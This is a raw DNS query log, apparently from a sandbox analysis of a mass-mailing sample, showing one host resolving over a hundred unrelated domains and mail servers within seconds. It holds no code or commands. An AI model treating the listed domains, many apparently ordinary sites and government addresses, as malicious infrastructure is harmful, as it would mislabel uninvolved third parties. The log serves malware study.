May 31, 2023 14:51:26.006083012 CEST	8.8.8.8	192.168.2.3	0x60f4	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.006083012 CEST	8.8.8.8	192.168.2.3	0x60f4	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.013015985 CEST	8.8.8.8	192.168.2.3	0xd7b7	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.013015985 CEST	8.8.8.8	192.168.2.3	0xd7b7	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.118360043 CEST	8.8.8.8	192.168.2.3	0xe9f7	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.137753010 CEST	8.8.8.8	192.168.2.3	0xd03a	No error (0)	603888.com	num6.17986.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:26.137753010 CEST	8.8.8.8	192.168.2.3	0xd03a	No error (0)	num6.17986.net		67.21.93.229	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.157562971 CEST	8.8.8.8	192.168.2.3	0x8802	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.239243031 CEST	8.8.8.8	192.168.2.3	0x7ecf	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.239626884 CEST	8.8.8.8	192.168.2.3	0xe442	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.350109100 CEST	8.8.8.8	192.168.2.3	0x6a44	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.350109100 CEST	8.8.8.8	192.168.2.3	0x6a44	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.429181099 CEST	8.8.8.8	192.168.2.3	0x324d	No error (0)	iranytu.net		103.224.212.222	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.523705006 CEST	8.8.8.8	192.168.2.3	0xfd3	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.523705006 CEST	8.8.8.8	192.168.2.3	0xfd3	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.528667927 CEST	8.8.8.8	192.168.2.3	0x4ad2	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.532315016 CEST	8.8.8.8	192.168.2.3	0xcf4a	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.532315016 CEST	8.8.8.8	192.168.2.3	0xcf4a	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.532459021 CEST	8.8.8.8	192.168.2.3	0x3a79	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.546196938 CEST	8.8.8.8	192.168.2.3	0x6dd2	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.555963039 CEST	8.8.8.8	192.168.2.3	0xff78	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.555963039 CEST	8.8.8.8	192.168.2.3	0xff78	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563035965 CEST	8.8.8.8	192.168.2.3	0xfabc	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563035965 CEST	8.8.8.8	192.168.2.3	0xfabc	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563710928 CEST	8.8.8.8	192.168.2.3	0xa8df	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563710928 CEST	8.8.8.8	192.168.2.3	0xa8df	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563780069 CEST	8.8.8.8	192.168.2.3	0x5273	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563780069 CEST	8.8.8.8	192.168.2.3	0x5273	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563780069 CEST	8.8.8.8	192.168.2.3	0x5273	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.563780069 CEST	8.8.8.8	192.168.2.3	0x5273	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.591027975 CEST	8.8.8.8	192.168.2.3	0xa0e7	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.653047085 CEST	8.8.8.8	192.168.2.3	0x46a9	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.803045034 CEST	8.8.8.8	192.168.2.3	0xd07	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:26.859149933 CEST	8.8.8.8	192.168.2.3	0xa1b6	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.037018061 CEST	8.8.8.8	192.168.2.3	0xf6aa	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.095221043 CEST	8.8.8.8	192.168.2.3	0x8d68	No error (0)	gmail-smtp-in.l.google.com		142.250.153.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.170543909 CEST	8.8.8.8	192.168.2.3	0x2f1	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.217390060 CEST	8.8.8.8	192.168.2.3	0x50c2	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.228657961 CEST	8.8.8.8	192.168.2.3	0xe799	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.231128931 CEST	8.8.8.8	192.168.2.3	0x1d8e	No error (0)	in1.smtp.messagingengine.com		103.168.172.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.231128931 CEST	8.8.8.8	192.168.2.3	0x1d8e	No error (0)	in1.smtp.messagingengine.com		103.168.172.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.231128931 CEST	8.8.8.8	192.168.2.3	0x1d8e	No error (0)	in1.smtp.messagingengine.com		103.168.172.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.231128931 CEST	8.8.8.8	192.168.2.3	0x1d8e	No error (0)	in1.smtp.messagingengine.com		103.168.172.217	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.231128931 CEST	8.8.8.8	192.168.2.3	0x1d8e	No error (0)	in1.smtp.messagingengine.com		103.168.172.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.231128931 CEST	8.8.8.8	192.168.2.3	0x1d8e	No error (0)	in1.smtp.messagingengine.com		103.168.172.219	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.261948109 CEST	8.8.8.8	192.168.2.3	0xfaa2	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.262509108 CEST	8.8.8.8	192.168.2.3	0xfc4f	No error (0)	gujarat.com		172.67.145.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.262509108 CEST	8.8.8.8	192.168.2.3	0xfc4f	No error (0)	gujarat.com		104.21.73.143	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.282417059 CEST	8.8.8.8	192.168.2.3	0x1b67	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.291246891 CEST	8.8.8.8	192.168.2.3	0x4289	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.291246891 CEST	8.8.8.8	192.168.2.3	0x4289	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.304779053 CEST	8.8.8.8	192.168.2.3	0x1397	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.308022022 CEST	8.8.8.8	192.168.2.3	0x7f3d	No error (0)	assideum.com		52.219.100.91	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.315673113 CEST	8.8.8.8	192.168.2.3	0xe830	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.325865030 CEST	8.8.8.8	192.168.2.3	0x1ea1	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.349159956 CEST	8.8.8.8	192.168.2.3	0xb4f4	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.349159956 CEST	8.8.8.8	192.168.2.3	0xb4f4	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.349159956 CEST	8.8.8.8	192.168.2.3	0xb4f4	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.349159956 CEST	8.8.8.8	192.168.2.3	0xb4f4	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.365602970 CEST	8.8.8.8	192.168.2.3	0xa0a0	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.394841909 CEST	8.8.8.8	192.168.2.3	0xe054	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.433130980 CEST	8.8.8.8	192.168.2.3	0x26b3	No error (0)	rkengg.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:27.433130980 CEST	8.8.8.8	192.168.2.3	0x26b3	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:27.433130980 CEST	8.8.8.8	192.168.2.3	0x26b3	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.433130980 CEST	8.8.8.8	192.168.2.3	0x26b3	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.459635019 CEST	8.8.8.8	192.168.2.3	0xe966	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.462441921 CEST	8.8.8.8	192.168.2.3	0x7329	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.462441921 CEST	8.8.8.8	192.168.2.3	0x7329	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.567873955 CEST	8.8.8.8	192.168.2.3	0x9bf1	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.573448896 CEST	8.8.8.8	192.168.2.3	0x5c65	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.699589968 CEST	8.8.8.8	192.168.2.3	0x53cd	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.801145077 CEST	8.8.8.8	192.168.2.3	0xe27f	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.834132910 CEST	8.8.8.8	192.168.2.3	0xa14f	No error (0)	peminet.net		198.54.117.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.834810972 CEST	8.8.8.8	192.168.2.3	0x4a09	No error (0)	78san.com		133.242.15.119	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.843254089 CEST	8.8.8.8	192.168.2.3	0x82a3	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.845175982 CEST	8.8.8.8	192.168.2.3	0xed09	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.881449938 CEST	8.8.8.8	192.168.2.3	0x4833	No error (0)	cutchie.com		199.59.243.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.882437944 CEST	8.8.8.8	192.168.2.3	0x9055	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.882437944 CEST	8.8.8.8	192.168.2.3	0x9055	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.882437944 CEST	8.8.8.8	192.168.2.3	0x9055	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.888410091 CEST	8.8.8.8	192.168.2.3	0x39bc	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.888855934 CEST	8.8.8.8	192.168.2.3	0x4f3f	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.888855934 CEST	8.8.8.8	192.168.2.3	0x4f3f	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.892180920 CEST	8.8.8.8	192.168.2.3	0x9e8c	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.892658949 CEST	8.8.8.8	192.168.2.3	0x77be	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.896605968 CEST	8.8.8.8	192.168.2.3	0xe7bf	No error (0)	revoldia.net		154.210.36.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.898513079 CEST	8.8.8.8	192.168.2.3	0x579	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.898513079 CEST	8.8.8.8	192.168.2.3	0x579	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.910996914 CEST	8.8.8.8	192.168.2.3	0x9f27	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.936585903 CEST	8.8.8.8	192.168.2.3	0x37c1	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.968841076 CEST	8.8.8.8	192.168.2.3	0x672e	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.982947111 CEST	8.8.8.8	192.168.2.3	0x951a	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.993129015 CEST	8.8.8.8	192.168.2.3	0x6c1a	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:27.993129015 CEST	8.8.8.8	192.168.2.3	0x6c1a	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.015216112 CEST	8.8.8.8	192.168.2.3	0xe5d0	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.015216112 CEST	8.8.8.8	192.168.2.3	0xe5d0	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.018547058 CEST	8.8.8.8	192.168.2.3	0x42ea	No error (0)	gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.031685114 CEST	8.8.8.8	192.168.2.3	0x3db0	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.031685114 CEST	8.8.8.8	192.168.2.3	0x3db0	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.040865898 CEST	8.8.8.8	192.168.2.3	0x33b2	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.040926933 CEST	8.8.8.8	192.168.2.3	0xb4e6	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.140526056 CEST	8.8.8.8	192.168.2.3	0xdb7f	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.149136066 CEST	8.8.8.8	192.168.2.3	0x15d5	No error (0)	in1.smtp.messagingengine.com		103.168.172.221	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.149136066 CEST	8.8.8.8	192.168.2.3	0x15d5	No error (0)	in1.smtp.messagingengine.com		103.168.172.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.149136066 CEST	8.8.8.8	192.168.2.3	0x15d5	No error (0)	in1.smtp.messagingengine.com		103.168.172.219	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.149136066 CEST	8.8.8.8	192.168.2.3	0x15d5	No error (0)	in1.smtp.messagingengine.com		103.168.172.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.149136066 CEST	8.8.8.8	192.168.2.3	0x15d5	No error (0)	in1.smtp.messagingengine.com		103.168.172.217	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.149136066 CEST	8.8.8.8	192.168.2.3	0x15d5	No error (0)	in1.smtp.messagingengine.com		103.168.172.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.167284012 CEST	8.8.8.8	192.168.2.3	0xe614	No error (0)	yhsll.com		107.186.187.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.176727057 CEST	8.8.8.8	192.168.2.3	0x5049	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.203459978 CEST	8.8.8.8	192.168.2.3	0xc2fc	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.266697884 CEST	8.8.8.8	192.168.2.3	0xedb1	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.375123024 CEST	8.8.8.8	192.168.2.3	0x3621	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.418257952 CEST	8.8.8.8	192.168.2.3	0x5b36	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.418257952 CEST	8.8.8.8	192.168.2.3	0x5b36	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.444886923 CEST	8.8.8.8	192.168.2.3	0x31f6	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.454224110 CEST	8.8.8.8	192.168.2.3	0xd370	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.480197906 CEST	8.8.8.8	192.168.2.3	0xe61e	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.502931118 CEST	8.8.8.8	192.168.2.3	0x9039	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.517015934 CEST	8.8.8.8	192.168.2.3	0x5c0c	No error (0)	kairel.com		54.217.118.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.544687986 CEST	8.8.8.8	192.168.2.3	0x5676	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.601236105 CEST	8.8.8.8	192.168.2.3	0x27d5	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.639820099 CEST	8.8.8.8	192.168.2.3	0x1bb9	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.653893948 CEST	8.8.8.8	192.168.2.3	0xe99d	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.678108931 CEST	8.8.8.8	192.168.2.3	0x88a3	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.686970949 CEST	8.8.8.8	192.168.2.3	0x1ea3	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.756731987 CEST	8.8.8.8	192.168.2.3	0xe6d1	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.800888062 CEST	8.8.8.8	192.168.2.3	0x2ba3	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.874190092 CEST	8.8.8.8	192.168.2.3	0x6598	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.876847982 CEST	8.8.8.8	192.168.2.3	0xc4df	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.889187098 CEST	8.8.8.8	192.168.2.3	0xad62	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:28.939126015 CEST	8.8.8.8	192.168.2.3	0x1985	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.052246094 CEST	8.8.8.8	192.168.2.3	0xccd9	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.236095905 CEST	8.8.8.8	192.168.2.3	0x5b9b	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.274125099 CEST	8.8.8.8	192.168.2.3	0x5c3a	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.274125099 CEST	8.8.8.8	192.168.2.3	0x5c3a	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.283108950 CEST	8.8.8.8	192.168.2.3	0x16c9	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.287982941 CEST	8.8.8.8	192.168.2.3	0x9205	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.287982941 CEST	8.8.8.8	192.168.2.3	0x9205	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.290687084 CEST	8.8.8.8	192.168.2.3	0xa4b7	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.325666904 CEST	8.8.8.8	192.168.2.3	0xeb7e	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.384545088 CEST	8.8.8.8	192.168.2.3	0x1bd4	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.435357094 CEST	8.8.8.8	192.168.2.3	0xc3ba	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.517965078 CEST	8.8.8.8	192.168.2.3	0xf046	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.517965078 CEST	8.8.8.8	192.168.2.3	0xf046	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.539846897 CEST	8.8.8.8	192.168.2.3	0xe12	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.591891050 CEST	8.8.8.8	192.168.2.3	0x13a5	No error (0)	diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.617722988 CEST	8.8.8.8	192.168.2.3	0xbd22	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.654673100 CEST	8.8.8.8	192.168.2.3	0x33aa	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.659115076 CEST	8.8.8.8	192.168.2.3	0x8cfd	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.666752100 CEST	8.8.8.8	192.168.2.3	0x6365	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.731604099 CEST	8.8.8.8	192.168.2.3	0x89ce	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.748497009 CEST	8.8.8.8	192.168.2.3	0xaaec	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.795978069 CEST	8.8.8.8	192.168.2.3	0xde7c	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.845695972 CEST	8.8.8.8	192.168.2.3	0x8d2	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.849056959 CEST	8.8.8.8	192.168.2.3	0xb4ae	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.863352060 CEST	8.8.8.8	192.168.2.3	0x5f79	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.863352060 CEST	8.8.8.8	192.168.2.3	0x5f79	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.903382063 CEST	8.8.8.8	192.168.2.3	0xf513	No error (0)	geecl.com		194.76.27.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.917680979 CEST	8.8.8.8	192.168.2.3	0x1021	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.939136982 CEST	8.8.8.8	192.168.2.3	0x8213	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.939136982 CEST	8.8.8.8	192.168.2.3	0x8213	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.953088045 CEST	8.8.8.8	192.168.2.3	0xf0aa	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.977327108 CEST	8.8.8.8	192.168.2.3	0x2b45	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:29.977327108 CEST	8.8.8.8	192.168.2.3	0x2b45	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.064512968 CEST	8.8.8.8	192.168.2.3	0xa90b	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.105912924 CEST	8.8.8.8	192.168.2.3	0x70ff	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.137953043 CEST	8.8.8.8	192.168.2.3	0xa14f	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.141917944 CEST	8.8.8.8	192.168.2.3	0x2d19	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.207221985 CEST	8.8.8.8	192.168.2.3	0xa3a9	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.219835997 CEST	8.8.8.8	192.168.2.3	0x417a	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.244061947 CEST	8.8.8.8	192.168.2.3	0xdf9d	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.321456909 CEST	8.8.8.8	192.168.2.3	0xa401	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.326414108 CEST	8.8.8.8	192.168.2.3	0xbfb4	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.403604984 CEST	8.8.8.8	192.168.2.3	0xd77e	No error (0)	hbfuels.com		85.233.160.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.434257030 CEST	8.8.8.8	192.168.2.3	0x9bf1	Server failure (2)	awal.ws	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:30.438483000 CEST	8.8.8.8	192.168.2.3	0xe690	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
